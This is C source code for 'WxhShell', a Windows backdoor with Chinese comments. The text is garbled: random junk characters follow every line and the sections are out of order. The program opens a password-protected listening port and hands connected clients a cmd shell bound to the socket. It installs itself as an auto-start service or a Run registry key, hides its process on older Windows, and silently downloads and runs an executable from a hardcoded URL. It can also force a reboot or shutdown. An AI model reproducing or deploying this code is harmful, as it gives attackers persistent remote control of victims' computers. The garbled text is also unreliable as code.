    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uY6]rt_#a  
    else { %H)^k${  
    closesocket(wsh); 1!N|a< #  
    ExitThread(0); S87E$k  
    } B49: R >  
    break; QT\||0V~p  
    } =K#5I<x  
  // 获取shell 5UWj#|t  
  case 's': { HpbSf1VvAf  
    CmdShell(wsh); 0v7#vZ  
    closesocket(wsh); #bI ,;]T  
    ExitThread(0); ANIx0*Yl(  
    break; ,"6Bw|s  
  } dnEIR5%+.  
  // 退出 eyM<#3\\S  
  case 'x': { OKW}8qM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nuc;Y  
    CloseIt(wsh); ,\fp .K<  
    break;  %XF>k)  
    } pCacm@(hG  
  // 离开 $<NrJgQ  
  case 'q': { |DUWB;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B3AWJ1o  
    closesocket(wsh); KM-d8^\:  
    WSACleanup(); !841/TRb  
    exit(1);  _'Jz+f.  
    break; ww? AGd  
        } t,bQ@x{zVC  
  } e]9Z]a2  
  } 2}\/_Y6  
qV$\E=%fhM  
  // 提示信息 %XC3V7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?hC,49  
} -- >q=hlA  
  } 9Sey&x  
\&8 61A;  
  return; @PL.7FM<v  
} =)c^ik%F&  
gJ=y7yX  
// shell模块句柄  i)!2DXn  
int CmdShell(SOCKET sock) !VDNqW  
{ 5eLm  
STARTUPINFO si; |KMwK png  
ZeroMemory(&si,sizeof(si)); 1m~-q4D)V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @S<6#zR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {D$5M/$  
PROCESS_INFORMATION ProcessInfo; %&iodo,EP'  
char cmdline[]="cmd"; zG* >g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {*PbD;/f  
  return 0; ,J&\) yTP  
} L*#W?WMM v  
8a8CY,n{  
// 自身启动模式 iSP}kM}  
int StartFromService(void) # 4&t09  
{ +HT?> k  
typedef struct `B$rr4_  
{ B&+)s5hh  
  DWORD ExitStatus; %,UTFuM`  
  DWORD PebBaseAddress; 0-Ga2Go9  
  DWORD AffinityMask; %dwI;%0  
  DWORD BasePriority; s-801JpiJ  
  ULONG UniqueProcessId; jwL\|B oE  
  ULONG InheritedFromUniqueProcessId; 3\ {?L  
}   PROCESS_BASIC_INFORMATION; koa-sy)#L  
*x-@}WY$U  
PROCNTQSIP NtQueryInformationProcess; 5AbY 59  
iLt2L;v>h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vR7S !  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ) ^`V{iD  
' ~ 1/*F%8  
  HANDLE             hProcess; U#G<cV79  
  PROCESS_BASIC_INFORMATION pbi; v[<x>?i D_  
2Krh&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u[ E0jI  
  if(NULL == hInst ) return 0; eg1Mdg\a  
]++,7Z\AU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YuUJgt .1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TD sjNFe3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |ju+{+  
Alk+MwjR  
  if (!NtQueryInformationProcess) return 0; G1a56TIN~  
E?0Vo%Vh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0/Ctke;  
  if(!hProcess) return 0; tIT/HG_o  
`\r <3?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N*f ]NCSi  
^;sE)L6  
  CloseHandle(hProcess); skYHPwJdW  
QM24cm T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); if?X^j0  
if(hProcess==NULL) return 0; 7~~suQ{F4  
JM7FVB  
HMODULE hMod; y>X(GF^  
char procName[255]; P(.XB`  
unsigned long cbNeeded; \S_A e;  
vScEQS$>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PpLiH9}  
`MHixQ;j  
  CloseHandle(hProcess); G{!(2D4!  
}9 ]7V<  
if(strstr(procName,"services")) return 1; // 以服务启动 "rrw~  
)KY4BBc  
  return 0; // 注册表启动 <TTBIXV  
} jwg*\HO,s  
D_?dy4\  
// 主模块 <=Saf.  
int StartWxhshell(LPSTR lpCmdLine) I Z|EPzS  
{ <MKX F V  
  SOCKET wsl; CTe!jMZ=  
BOOL val=TRUE; azzG  
  int port=0; CkRilS<  
  struct sockaddr_in door; W!"Oho'  
I/%L,XyRI  
  if(wscfg.ws_autoins) Install(); @ULd~  
gC F9XKW  
port=atoi(lpCmdLine); K_n GZ/`[  
k[}WYs+r  
if(port<=0) port=wscfg.ws_port; 3mHP=)  
lvRTy|%[  
  WSADATA data; j]U~ZAn,K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wv`ar>qVL  
GO.7IL{ {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KG4zjQf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vw$b]MO!  
  door.sin_family = AF_INET; nly}ly Q/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9f/l"  
  door.sin_port = htons(port); oVr:ZwkG3  
;<*USS6X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { III:j hh  
closesocket(wsl); ">M&/}4  
return 1; 3ZN\F  
} 8;"9A  
}ik N  
  if(listen(wsl,2) == INVALID_SOCKET) { g{ ;OgS3>  
closesocket(wsl); ,:#h;4!VRF  
return 1; %Eugy  
} ;n.h!wmJ}  
  Wxhshell(wsl); Nobu= Z  
  WSACleanup(); g<ov` bF  
"[rz*[o8I  
return 0; >5E1y!  
;W|GUmADf  
} 0_AIKJrL  
HRJ\H- V  
// 以NT服务方式启动 #k1IrqUp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L]H' ]wpn=  
{ ~N/a\%`  
DWORD   status = 0; *&I _fAh]  
  DWORD   specificError = 0xfffffff; >K&chg@Hv  
AyW=.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |26[=_[q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h:|BQC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :0ltq><?  
  serviceStatus.dwWin32ExitCode     = 0; ll[&O4.F  
  serviceStatus.dwServiceSpecificExitCode = 0; ^(Z%,j3O  
  serviceStatus.dwCheckPoint       = 0; 9KB}?~Nx4  
  serviceStatus.dwWaitHint       = 0; $=ESY>MO  
y\4/M6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7SN61)[m  
  if (hServiceStatusHandle==0) return; Sb?Ua*(L:  
K'/if5>Bc  
status = GetLastError(); +J~%z*A  
  if (status!=NO_ERROR) HO_(it \  
{ %"=GQ3u[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o~W,VhCP  
    serviceStatus.dwCheckPoint       = 0; GY %$7   
    serviceStatus.dwWaitHint       = 0; @4Zkkjc4b  
    serviceStatus.dwWin32ExitCode     = status; H|7XfM  
    serviceStatus.dwServiceSpecificExitCode = specificError; *_d N9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4<vi@,s  
    return; I(WIT=Wi<  
  } Y@< j vH1  
=}@1Z~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %!AzFL J|Z  
  serviceStatus.dwCheckPoint       = 0; Vugb;5Vl  
  serviceStatus.dwWaitHint       = 0; uL@%M8n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I}f7|hYX  
} f& \ Bs8la  
$pKegK;'z  
// 处理NT服务事件,比如:启动、停止 xX9snSGz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dz>Jl},`k  
{ X 5X D1[  
switch(fdwControl) H:9G/Nev  
{ S{v]B_N[M  
case SERVICE_CONTROL_STOP: RnU7|p{  
  serviceStatus.dwWin32ExitCode = 0; FA;-D5=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T$AVMVq  
  serviceStatus.dwCheckPoint   = 0; A0RSNAM  
  serviceStatus.dwWaitHint     = 0; FzP1b_i  
  { @/ nGc9h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : 2$*'{mM  
  } a1Q%Gn@R  
  return; sekei6#fi  
case SERVICE_CONTROL_PAUSE: .)Pul|)d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]zCD1 *)  
  break; BX6kn/i  
case SERVICE_CONTROL_CONTINUE: \t/0Yh-'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e*}GQ  
  break; W'f"kM  
case SERVICE_CONTROL_INTERROGATE: -'L~Y~'.  
  break; C(h Td%  
}; @$j u Qm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ].5q,A]  
} ~t/i0pKq.  
M# -E  
// 标准应用程序主函数 x,cvAbwS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c`UFNNm=  
{ Y"r728T`K  
z]C=nXb k  
// 获取操作系统版本 3:8p="$F  
OsIsNt=GetOsVer(); '-J<ib t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r:g_mMvB  
zUNUH^Il  
  // 从命令行安装 _ h1eW9q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZBFn  
}@ktAt  
  // 下载执行文件 ~(yW#'G  
if(wscfg.ws_downexe) { L|:CQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P,a9B2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q4/BpKL  
} ;Zj(**#H  
_Gaem"k|  
if(!OsIsNt) { arRU`6?  
// 如果时win9x,隐藏进程并且设置为注册表启动 w)RedJnf  
HideProc(); _Y/*e<bU  
StartWxhshell(lpCmdLine); HZ}Igw.Z  
} =J]EVD   
else *}';q`u }  
  if(StartFromService()) ZZHzC+O#^  
  // 以服务方式启动 Iz'Et'w8!  
  StartServiceCtrlDispatcher(DispatchTable); sKsMF:|OT  
else @iXBy:@  
  // 普通方式启动 } XhL`%  
  StartWxhshell(lpCmdLine); ?*yB&(a:8  
aI ;$N|]u  
return 0; ^,t@HN;gA  
} GUqG1u z9  
Rg\4#9S JF  
W,[QK~  
*)`PY4zF  
=========================================== q# Q%p+  
5G gH6   
]4V1]  
9E8&~y  
#"?pY5 ("  
' Q(kx*;  
" aaw[ia_EL  
6&0G'PMf  
#include <stdio.h> ;H`@x Lv*  
#include <string.h> |HYST`  
#include <windows.h> %6rSLBw3  
#include <winsock2.h> V9qA'k  
#include <winsvc.h> :) -`  
#include <urlmon.h> QG~6mvD  
{:VK}w  
#pragma comment (lib, "Ws2_32.lib") JC-> eY"O2  
#pragma comment (lib, "urlmon.lib") d=8.cQL:E  
 :TR:tf  
#define MAX_USER   100 // 最大客户端连接数 ceD6q~)  
#define BUF_SOCK   200 // sock buffer 'W4v>0   
#define KEY_BUFF   255 // 输入 buffer }YBuS3{  
)!cucY  
#define REBOOT     0   // 重启 x3#:C=  
#define SHUTDOWN   1   // 关机 T0"nzukd  
>3B {sn}  
#define DEF_PORT   5000 // 监听端口 7CSz  
izGU&VeB  
#define REG_LEN     16   // 注册表键长度 }$L1A   
#define SVC_LEN     80   // NT服务名长度 Q _!tn*  
Y<(7u`F  
// 从dll定义API }7b{ZbDI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C4`&_yoP4-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ai1;v@1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TQNdBq5I6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 89GW!  
S;gy:n!t  
// wxhshell配置信息 QKx(S=4jQ  
struct WSCFG { im9EV|;  
  int ws_port;         // 监听端口 $'_Q@ZBq  
  char ws_passstr[REG_LEN]; // 口令 xgj'um  
  int ws_autoins;       // 安装标记, 1=yes 0=no T+zhj++  
  char ws_regname[REG_LEN]; // 注册表键名 TbT/ 5W3  
  char ws_svcname[REG_LEN]; // 服务名 8-7Ml3G*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EW vhT]<0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +HRtuRv0T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =q)+_@24>d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UR=s=G|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W2h4ej\s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m9MY d  
T}1"  
}; dTCLE t.  
rr\9HA  
// default Wxhshell configuration <ta{)}IN^  
struct WSCFG wscfg={DEF_PORT, +v5f-CBu  
    "xuhuanlingzhe", skan1wQ  
    1, RMpiwO^  
    "Wxhshell", :<{ 15:1  
    "Wxhshell", WN%,   
            "WxhShell Service", ":qHDL3  
    "Wrsky Windows CmdShell Service", <T)0I1S  
    "Please Input Your Password: ", E'D16Rhp  
  1, &{glwVKV  
  "http://www.wrsky.com/wxhshell.exe", Qbjm,>H/^  
  "Wxhshell.exe" qLb~^'<iD  
    }; \b"|p%CL8  
hEZo{0:b"  
// 消息定义模块 IA Ma  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2Q]W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `$FX%p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eFS$;3FP1  
char *msg_ws_ext="\n\rExit."; @M-Q|  
char *msg_ws_end="\n\rQuit."; 0-{E% k  
char *msg_ws_boot="\n\rReboot..."; islHtX VE  
char *msg_ws_poff="\n\rShutdown..."; \o2l;1~  
char *msg_ws_down="\n\rSave to "; V#.pi zb  
MZf?48"f  
char *msg_ws_err="\n\rErr!"; X(Mpg[,N"  
char *msg_ws_ok="\n\rOK!"; w/*#TDR  
}a, ycFt  
char ExeFile[MAX_PATH]; 7G;1n0m-T  
int nUser = 0; ml^=y~J[  
HANDLE handles[MAX_USER]; :=+YZ|&j  
int OsIsNt; a3w6&e`  
}:{ @nP  
SERVICE_STATUS       serviceStatus; LJb=9tp~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d*04[5`  
$|&<cenMT  
// 函数声明 O/ItN5B ;  
int Install(void); "s]  
int Uninstall(void); XRQ1Uh6  
int DownloadFile(char *sURL, SOCKET wsh); [_3&  
int Boot(int flag); Zos.WS#  
void HideProc(void); M=95E$6  
int GetOsVer(void); O`%F{&;29  
int Wxhshell(SOCKET wsl); -bdWG]w"  
void TalkWithClient(void *cs); m;rr7{7X  
int CmdShell(SOCKET sock); 8tv4_Lbx  
int StartFromService(void); C@]D*k  
int StartWxhshell(LPSTR lpCmdLine); Bfo#N31F}  
Whp`\E< <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5bXpj86mY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P2`F" Qsq  
(;05=DsO  
// 数据结构和表定义 WoB'B|%  
SERVICE_TABLE_ENTRY DispatchTable[] = H<q|je}e  
{ I9aiAD0s  
{wscfg.ws_svcname, NTServiceMain}, !t~tIJ>6  
{NULL, NULL} L aA<`  
}; Hhk`yX c_  
q27q/q8  
// 自我安装 `EvO^L   
int Install(void) LD NdHG6  
{ FJ!`[.t1AU  
  char svExeFile[MAX_PATH]; N TDmOS\,  
  HKEY key; 4Y3@^8h&=  
  strcpy(svExeFile,ExeFile); xhho{  
0[<' ygu  
// 如果是win9x系统,修改注册表设为自启动 \h s7>5O^K  
if(!OsIsNt) { TNN@G~@cm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $0P16ZlPC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :8}Qt^p  
  RegCloseKey(key); >Je$WE3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X6$Cd]MN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HOH5_E>d  
  RegCloseKey(key); }aa]1X(u  
  return 0; /g9^g(  
    } VyYrL]OrA  
  } $6 Hf[(/e  
} t.RDS2N|  
else { c2 :,  
e&8Meiv+d  
// 如果是NT以上系统,安装为系统服务 NRP) 'E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  lFcHE c  
if (schSCManager!=0) Ez-AQ'  
{ ;g+fY 6  
  SC_HANDLE schService = CreateService (vi^ t{k  
  ( ^qBm%R(  
  schSCManager, {&D$U'ye  
  wscfg.ws_svcname, 76o[qay  
  wscfg.ws_svcdisp, ;ZcwgsxTM  
  SERVICE_ALL_ACCESS, 4L`,G:J,;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HfP<hQmN'  
  SERVICE_AUTO_START, l?m 3 *  
  SERVICE_ERROR_NORMAL, <_*5BO  
  svExeFile, 5&L*'kV@  
  NULL, 'x? |tKzd  
  NULL, 8dt=@pwx&  
  NULL, ,-k?"|tQ  
  NULL, "d~<{(:N^  
  NULL jVGAgR=[G  
  ); [h' 22 W  
  if (schService!=0) b">"NvlB  
  { AA ~7"2e  
  CloseServiceHandle(schService); 47*2QL^zj  
  CloseServiceHandle(schSCManager); !H c6$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &6Lh>n(  
  strcat(svExeFile,wscfg.ws_svcname); ^b$G.h{o!E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xm(#O1Vm(l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %t1Z!xv_  
  RegCloseKey(key); 4$N,|bt  
  return 0; /FW$)w2{j  
    } 2Q%M2Ua  
  } pBBKfv  
  CloseServiceHandle(schSCManager); '|v<^EH  
} zT/woiyB`  
} =c#mR" 1  
|t3}>+"?z  
return 1; g}hNsU=$5~  
} F/j ; q  
qQo*:3/];  
// 自我卸载 yU7XX+cB7  
int Uninstall(void) YbWz!.WPe  
{ `-b{|a J  
  HKEY key; aYpc\jJ  
Y4,p_6aKJ]  
if(!OsIsNt) { _Fv6S}~Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Oo(xYy  
  RegDeleteValue(key,wscfg.ws_regname); NL-PQ%lUA  
  RegCloseKey(key); "la0@/n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XknNb{. r  
  RegDeleteValue(key,wscfg.ws_regname); .Q@]+&`|}i  
  RegCloseKey(key); F>[^m Xw  
  return 0; 9aIv|cS?  
  } Xf{p>-+DL  
} \ E5kpm  
} ErsJWp  
else { 0lYP!\J3]%  
|rhB@k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i^ILo,Q  
if (schSCManager!=0) &,l7wK  
{ )M[FPJP}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9T`YHA'g  
  if (schService!=0) |@R/JGB^  
  { &lzCRRnvt  
  if(DeleteService(schService)!=0) { tN.BI1nB  
  CloseServiceHandle(schService); ,5t_}d|3C=  
  CloseServiceHandle(schSCManager); U%VFr#  
  return 0; hmb=_W  
  } ?,hGKSC  
  CloseServiceHandle(schService); I7'v;*  
  } KlBT9"6"  
  CloseServiceHandle(schSCManager); l#+@!2z  
} |r+hj<K  
} _XrlCLp: d  
{Q]7!/>>  
return 1; Z.aeE*Hs$  
} K h&a#~c  
P^lRJB<$Q  
// 从指定url下载文件 S4(?= ,^-  
int DownloadFile(char *sURL, SOCKET wsh) ,L>{(Q)  
{ 9 v ,y  
  HRESULT hr; ~Z#\f5yv@  
char seps[]= "/"; 6B>*v`T:  
char *token; <FZ*'F*M  
char *file; f!GFRMM1  
char myURL[MAX_PATH]; | ObA=[j  
char myFILE[MAX_PATH]; 8zJye6f;l  
MfFmJ7>Bg  
strcpy(myURL,sURL); 1O)m(0tb[  
  token=strtok(myURL,seps); %JA^b5''  
  while(token!=NULL) OH 88d:  
  { W7~OU(}[`  
    file=token; UK@hnQU8`  
  token=strtok(NULL,seps); P{2ED1T\  
  } DC$> 5FDv  
U}<zn+SI#V  
GetCurrentDirectory(MAX_PATH,myFILE); "zFTPL"  
strcat(myFILE, "\\"); />PH{ l  
strcat(myFILE, file); 8N#.@\'kz.  
  send(wsh,myFILE,strlen(myFILE),0); >7W8_6sC<  
send(wsh,"...",3,0); Gh%dVP9B@P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8<E U|/O  
  if(hr==S_OK) f=4q]y#& X  
return 0; 6"+bCx0:  
else Zjc 0R   
return 1; !|"LAr9u  
"Q tkNy%E  
} `<R^ZL,  
HXqG;Fds(  
// 系统电源模块 b|@f!lA  
int Boot(int flag) 6gq`V,  
{ nK]L0*s  
  HANDLE hToken; f~p[izt  
  TOKEN_PRIVILEGES tkp; bD 1IY1  
@_;vE(!5  
  if(OsIsNt) { JVPLE*T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :pP l|"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6WLq>Jo  
    tkp.PrivilegeCount = 1; N\hHu6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dFnu&u"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _C$SaQty[Q  
if(flag==REBOOT) { 79'N/:.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dW|S\S'&  
  return 0; 5 ^tetDz}  
} ~llw_ w  
else { ;|Rrtf9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?SoRi</1  
  return 0; hBW,J$B  
} 6bbzgULl  
  } [Ue"#w  
  else { :&O6Y-/B  
if(flag==REBOOT) { @Y&(1Wl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &=-{adm  
  return 0; G\r>3Ys  
} t@BhosR-  
else { c 9zMI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k3e?:t 9  
  return 0; 1tCe#*|95  
} nqib`U@"  
} ~_4$|WKl  
`g(r.`t^  
return 1; MrS~u  
} { %af  
;J?zD9  
// win9x进程隐藏模块 .+`Z:{:BC&  
void HideProc(void) >=L<3W1  
{ a0B,[i  
SRyot:l   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]y/!GFQ  
  if ( hKernel != NULL ) {UOR_Vt!*  
  { =>)4>WT8A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )^Md ^\?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /2]=.bLwz  
    FreeLibrary(hKernel); :x_;-  
  } 4VlQN$  
zT _[pa)O`  
return; 77zDHq=  
} *JY2vq  
aK'%E3!~=x  
// 获取操作系统版本 8$6^S{M3  
int GetOsVer(void) koOp:7r  
{ kQ $.g<  
  OSVERSIONINFO winfo; 1}I%yOi)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?\T):o;/  
  GetVersionEx(&winfo); ?h|w7/9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gn4 Sz")  
  return 1; N51RBA  
  else 3 *[YM7y  
  return 0; 7D)i]68E  
} mMtX:  
Bez 7  
// 客户端句柄模块 ~HyqHx y  
int Wxhshell(SOCKET wsl) t3FfPV!P"  
{ bl`vT3  
  SOCKET wsh; >{w"aJ" F  
  struct sockaddr_in client; #F|w_P  
  DWORD myID; 8j&LU,  
'wP\VCL2>  
  while(nUser<MAX_USER) a*KJjl?k  
{ ){,v&[  
  int nSize=sizeof(client); Uz; pNWMk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $+Vp>  
  if(wsh==INVALID_SOCKET) return 1; pe7R1{2Q_s  
AU/L_hg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M}b[;/~  
if(handles[nUser]==0) #~>ykuq  
  closesocket(wsh); r4FGz!U  
else `q(eB=6;[  
  nUser++; -c'~0g]<  
  } Ok6c E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^# gR"\F`d  
"yc_*R(pU  
  return 0; ^bDh[O  
} m%G:|`f7  
*we*IhIP  
// 关闭 socket YU24wTe;k  
void CloseIt(SOCKET wsh) C*1,aLSw  
{ $ -n?q w  
closesocket(wsh); Wk&g!FR  
nUser--; 9Fv VM9  
ExitThread(0); 2K&5Kt/  
} SLMnEtyTS  
Hwm] l`E]  
// 客户端请求句柄 O &De!Gx  
void TalkWithClient(void *cs) A +J&(7N  
{ `p)$7!  
zd+<1R;  
  SOCKET wsh=(SOCKET)cs; | ?])]F  
  char pwd[SVC_LEN]; CHX- 4-84{  
  char cmd[KEY_BUFF]; j6{9XIR o_  
char chr[1]; :")iS?l  
int i,j; 4! V--F  
u!WjG@  
  while (nUser < MAX_USER) { =]yzy:~ey  
Y< drRK!  
if(wscfg.ws_passstr) { !XJS"owr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b )mU9   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \gjY h2>  
  //ZeroMemory(pwd,KEY_BUFF); 0($ O1j~$  
      i=0; j)neVPf%v  
  while(i<SVC_LEN) { w-M,@[G  
z&r@c-l@  
  // 设置超时 ES&"zjr$  
  fd_set FdRead; *D$[@-7  
  struct timeval TimeOut; mUW4d3tE  
  FD_ZERO(&FdRead); nd)bRB  
  FD_SET(wsh,&FdRead); nVVQ^i}`G  
  TimeOut.tv_sec=8; P7`sJ("#  
  TimeOut.tv_usec=0; */JMPw&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y &"rf   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |X$O'Gf#n  
Nn%[J+F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LU=`K4  
  pwd=chr[0]; :yTpjC-S]  
  if(chr[0]==0xd || chr[0]==0xa) { pa@@S $(  
  pwd=0; ;"77? )  
  break; 3HP o*~"]  
  } {x#I&ra  
  i++; G uLU7a  
    } `78:TU~5S  
hs5aIJ  
  // 如果是非法用户,关闭 socket HMymoh$Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WG0Ne;Ho  
} ev_4!+ko  
mlmp'f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (dh{Gk4=+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {!`0i  
vdLBf+Zi  
while(1) { o2C{V1nB  
%kRQ9I".  
  ZeroMemory(cmd,KEY_BUFF); )Kw Gb&l&  
LyB &u( )  
      // 自动支持客户端 telnet标准   AQH\ ;L  
  j=0; .0b$mSV[  
  while(j<KEY_BUFF) { dq&N;kk |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^t'mfG|DV  
  cmd[j]=chr[0]; :t36]NM  
  if(chr[0]==0xa || chr[0]==0xd) { PfRe)JuB  
  cmd[j]=0; "ApVgNB  
  break; 8I X,q  
  } xy$agt>j>  
  j++; KiDL]2  
    } XpLK0YI  
j(|9>J*,~G  
  // 下载文件 /Dl{I7W   
  if(strstr(cmd,"http://")) { uGxh}'&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TzJp3  
  if(DownloadFile(cmd,wsh)) tXgsWG?v[H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4._ U  
  else pW>?%ft.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?<$>\@; q  
  } v7ShXX:  
  else { OcBK n=8  
|H LU5=Y  
    switch(cmd[0]) { xKl!{A9$w  
  YF]W<ZpY  
  // 帮助 k_^| %xJ  
  case '?': { 7vRFF@eq}  
